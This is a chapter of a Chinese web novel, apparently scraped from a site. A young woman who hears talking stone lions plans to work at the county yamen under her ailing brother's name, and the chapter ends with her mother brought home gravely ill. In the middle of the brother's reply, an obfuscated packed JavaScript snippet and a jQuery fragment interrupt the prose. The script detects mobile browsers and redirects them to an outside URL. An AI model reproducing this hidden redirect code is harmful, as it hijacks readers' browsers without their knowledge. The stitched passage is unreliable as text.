邢姝砚费了许多口舌,才让两个石狮子相信她能听到它们的声音。
公狮子阿豆还是觉得不可思议,【这不符合常理,人怎么能听到我们说话,太可怕了。】
母狮子阿豆豆安抚它,【或许她成精了吧?很多年前我还见过蛇精呢,人精也没什么大不了。】
阿豆:【可她太年轻了,一点都不像修炼了五百年的样子。】
人精邢姝砚一脸的黑线,这两个活宝。
见守大门的差役开始往这边探头了,她不敢再多说什么,赶紧同两个话痨道别,临走的时候又想起李林大叔叮嘱的那番话来,于是问:“县衙后面怎么了,为什么不能去?”
她只是随口一问,并不指望两个不能动的石狮子给她答案。
谁知阿豆道:【我知道我知道,后面住的都是当官的,阿豆豆,你知道都是哪些当官的吗?】
阿豆豆:【县丞家、主簿家、典史家。】
阿豆:【对对对,就是他们家,这几天好多人都来送礼,要进县衙当差哩!送了好多吃的好多银子,还送了个母的要跟主簿配种哩!】
邢姝砚:“……”
赶紧打断两个小话痨继续下去的欲望,“进县衙当差是怎么回事?”
这件事情阿豆豆知道的比较完整,【县令下台了,他的人手都要带走,衙门就有了空缺。】
刚想开口再细问问,开守大门的差役已经开始呵斥了,“闲杂人等,速速离开!”
邢姝砚没法再耽搁,小跑着离开。
回到家后,见丁秀兰并不在家,只邢书同在。
这几天天气暖了,邢书同不用整天闷在屋子里,没风的时候也能打开窗户透透气。
邢姝砚隔着窗户见他正伏案写些什么,问:“娘出去了?”
邢书同正全神贯注的认真抄书,并没有听到妹妹的动静,被突如其来的一句话一吓,手都抖了一下。
赶紧把笔拿开,拍了拍胸口,仔细看了一眼写的东西,见并没有写坏,才瞪了妹妹一眼,“人吓人吓死人,下次好歹先弄出点动静来。”
“谁让你写的那么投入?”邢姝砚反驳,“大夫都说了不许你耗费心神,你写的那么聚精会神明显就是不对,还怪起我来了?”
邢书同说不过她,只好转移话题:“娘出去了,说是找了一份工,得去试试。”
邢姝砚一听,眉毛都耷拉下来了,怏怏的推开东厢房的门,走到书桌边,“哥,你说我找一份什么样的活计好?洗衣裳又累又不赚钱还被克扣,绣工也不行,只会缝缝补补,帮厨的话好像也没男的有力气……”
低头懊恼道:“要不,赁去人家当丫鬟吧,好歹能贴补家用,省得娘去奔波了。”
拉拉杂杂说了半天,邢书同却什么话都没说。
父亲活着的时候,妹妹是娇养着的,整条杏花巷就数她被各家小姑娘羡慕,再看现在……
邢书同长长的叹了口气,“女孩子松快的日子不多,家里有娘,也有我,你不要操那么多的心,操心的人老的快,我妹妹要一直漂漂亮亮的。”
邢姝砚前世一直期盼的话就这样被人轻轻的说了出来,没有郑重的场合,也没有特别饱满的情感,自自而然的说了出来。
眼睛十分没出息的润了,扭过头去擦掉眼角的泪水,再转回头时凶巴巴的道:“什么你呀我的,都是一家人,分那么清楚干嘛,我有手有脚还认字,又不是不能动……”
熊了邢书同一顿,要走时眼睛落在他抄了一半的纸上,“这是什么?《千字文》?你抄这个干嘛?”
之前没细看,一直以为他是在写写画画舒缓心情,谁知道是在抄书?
邢书同笑了一下,他很瘦,脸色蜡黄,笑起来的时候却像光一样明亮。
“复习一下,顺便贴补家用。”
谁家拿《千字文》复习的啊?自己又不是三岁小孩,这么好骗的吗?
邢姝砚没打算戳穿哥哥的谎话,只让他别累着自己。
回到自己屋后,一头扎到床上,只觉得心里乱糟糟的,烦的她直想打滚。
想做就做,真的滚了两遍后终于消停了。
“怎么办怎么办?”
又要找到父亲殉职的真相,又要想办法让家人过的好,还要找好大夫医好哥哥,一桩桩都是事啊!
这其中的当务之急,还是先让一家人填饱肚子,饿着肚子什么都做不成。
“要是有旱涝保收的活计就好了!”
上辈子见人家考公,端着国家给的铁饭碗,做好做孬也没见被扣工资,生病了也不会不管,简直羡慕死了。
上辈子没机会靠,这辈子也……
脑子里突然灵光一闪,邢姝砚呯的蹦了起来,全身成了僵直状,乱成毛毡子的头发底下,一双眼睛绿的像狼。
其实,也不是不行,县衙现在不就缺人吗?要是自己能进去……
这个念头刚出现在脑海,又被她摇了出去。
不行不行不行,她是个女子,能被官府雇佣充作公人的女子除了稳婆这个行当,再无其他。
且不说稳婆都是本地人,县衙应当不缺,便是真的有缺,这口手艺饭她也吃不上。
嘶了一口凉气,安抚住乱跳的心脏,继续往下思索。
邢书同抄完最后三篇文字,抬头揉了揉脖子,不经意往窗外一看,就见邢姝砚立在那里,目光灼灼的盯着自己,不知道看了有多久?
邢姝砚同哥哥对视了好一会儿才反应过来,尴尬的揉了揉鼻子。
“你今天好像有点奇怪啊!”邢书同道。
邢姝砚傻笑两声,“我有点事,想和你商量商量。”
“哦?进来说话。”
邢姝砚进了小书房,把在县衙门口听到的事用春秋笔法叙述了一遍,略去了两个石狮子的存在,最后道:“我想以你的名义进县衙做事,你看行吗?”
邢书同张口结舌半天,断然拒绝:“不行,完全没有可能!”
“为什么呀?”邢姝砚想不通,“县衙里有工钱,虽然累一些,却是旱涝保收,有什么消息知道的也早,还能威慑那些惦记咱家肥肉的人,有什么不行?我觉得挺好的。”
邢书同用力闭了闭眼,再睁开后,里面满满都是难过。
“你是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546165|204160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女子,虽然可以扮成男子身份混进去,可是之后呢?你可曾想过日日和那些人一同做事,稍不小心就会露馅?还有,衙门里不像其他地方,这里直接和权利挂钩,内里的勾心斗角你从没接触过,怎么确保自己安全无虞?”
邢书同用力的看着她,一字一句道:“就比如说做坏了事会被打板子,光这一条,你怎么接受?”
邢姝砚沉默了好一会儿,才保证道:“我会十分小心的。”
邢书同长长的叹了口气,摸了摸妹妹的脑袋,“你的想法我都明白,但这里面的门道实在是太多,你孤身进去,我不放心,太危险了。”
完了又道:“家里的事你不用管,赚钱的事有我呢!我身体慢慢好起来了,现在抄抄书,以后就能出去摆个写信的摊子,将来说不准还能去做个帐房呢!你就安安心心的做自己就是。”
哪怕邢书再三保证自己的可信度,也不太能说服邢姝砚,无他,只因他实在是太瘦了。
虽然邢姝砚也瘦,但有精气神支撑着,看起来还算好。
可邢书同不光是瘦,就是身高也只和邢姝砚齐平,要知道他已经十四岁了,比邢姝砚大了整整两岁。
虽然很想反驳,但此时的情境却让邢姝砚有着十足的安心,仿佛前世的遗憾突然一股脑儿补偿给她了。
这种滋味,让人着迷。
邢姝砚不敢伤哥哥的心,吸了吸鼻子,闷声闷气的提醒他道:“你原来跟爹说要考科举来着。”
要考科举,做什么帐房先生嘛?
这事,邢书同却比妹妹想的开,“傻丫头,此一时彼一时嘛!再说靠科举是为了讨生活,做帐房也是为了讨生活,区别不大。”
邢姝砚都快被他气笑了,可一时又想不出来解决这事的办法,只能朝他呲牙。
正闹着,大门突然被人用力拍响,接着有声音咋咋呼呼的道:“是这一家,就是这一家,快开门,快开门。”
邢姝砚愣了一下,紧跟着蹿了起来,风一般的刮出去。
先把门打开条小缝往外瞧,见外面两三个人抬着块门板,上面躺着丁秀兰,旁边还跟着个提着药箱的大夫。
门哗的一下展至全开,邢姝砚冲了出去。
“怎么了这是?我娘她怎么了?”
看着面如金纸的丁秀兰,邢姝砚没敢动她,只问跟来的人,“怎么回事,我娘是受伤了吗?”
一个领头的道:“唉!这真是无妄之灾!别说这个了,先把人抬进去再说。”
“来来来,大家小心点啊,有门坎……”
众人吆喝着进了院子,东厢房里的邢书同早就出来了,就站在院子中间,摇摇欲坠。
邢姝砚一眼就发现了他的不对,强压着心慌招呼道:“哥,你去把正房的门帘子掀开,让娘进去。”
等人进了屋,众人让开距离,让跟来的大夫诊脉。
大夫诊完左手又诊右手,脸色一会儿比一会儿沉。
邢姝砚只觉得一颗心空洞洞的,灌满了冷风。
“哥!”泪眼朦胧的看向邢书同,希望找到一个安心的答案,“娘她会没事的,对不对?”